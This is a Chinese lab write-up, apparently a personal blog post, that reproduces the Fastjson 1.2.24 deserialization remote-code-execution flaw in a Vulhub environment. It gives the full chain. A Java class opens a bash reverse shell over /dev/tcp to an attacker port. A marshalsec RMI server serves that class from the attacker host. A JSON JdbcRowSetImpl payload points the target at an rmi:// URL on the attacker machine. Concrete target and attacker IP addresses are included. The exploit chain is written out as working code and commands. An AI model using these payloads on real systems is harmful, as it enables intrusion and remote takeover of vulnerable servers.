复现Fastjson-1.2.24.md

First Post:

Last Update:

具体知识参考:fastjson反序列化漏洞演示加详细讲解加原理_哔哩哔哩_bilibili

靶场搭建:

Fastjson 1.2.24反序列化漏洞(Vulhub)使用方法_vulhub的fastjson环境-CSDN博客

Fastjson【RCE1.2.47】漏洞复现_fastjson 1.2.47 漏洞-CSDN博客

详细内容参考:

Yihsiwei.pptx

靶机 ip:27.25.151.38

攻击机 ip:8.130.55.42

需要 java 和 javac 环境,版本版本保持一致,都是 1.8

过程:
首先,确保你的系统已经安装了Docker和Git。然后,通过Git克隆Vulhub的仓库到本地:‘git clone [https://github.com/vulhub/vulhub.git](https://github.com/vulhub/vulhub.git)’(或者自己下载文件)

下载 vulhub 靶场,然后进入 Fastjson 目录,去 1.2.24 目录,然后使用 ‘docker-compose up’开启靶场

访问靶机 ip:端口,像这样就搭建好了

在攻击机上创建文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// javac exp.java
import java.lang.Runtime;
import java.lang.Process;

public class exp {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/监听机器的ip/7777 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

编译.java文件,生成.class文件。

javac exp.java

在class文件所在的目录,Python起一个http服务。

接下来需要使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类 exp.class:

在攻击机开启RMI服务,注意要更改 “” 中的内容为你的攻击机 ip

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://8.130.55.42:444/#exp“ 9999

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://(启动 python 服务的 ip):(启动 python 服务的端口)/#(class 文件名)” 9999

marshalsec-0.0.3-SNAPSHOT-all.jar,下载地址为marshalsec-0.0.3-SNAPSHOT-all.jar

可以直接使用命令‘git clone https://github.com/mbechler/marshalsec.git’。下载‘marshalsec-0.0.3-SNAPSHOT-all.jar’

在pom.xml所在目录,需要运行以下命令‘mvn clean package -DskipTests’生成.jar文件(生成成功后位于此目录的target子目录下)

详细过程可以查看以下链接:下载marshalsec

使用 bp 抓包靶机,抓包后改GET包为POST包(右键->变更请求方法),然后在发送的请求数据包中输入以下payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
把原来的
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
修改为下面所示

Content-Type: application/json
Content-Length: 152

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://攻击机的ip:9999/exp",
"autoCommit":true
}

就反弹 shell 成功了

reward
支付宝 | Alipay
微信 | Wechat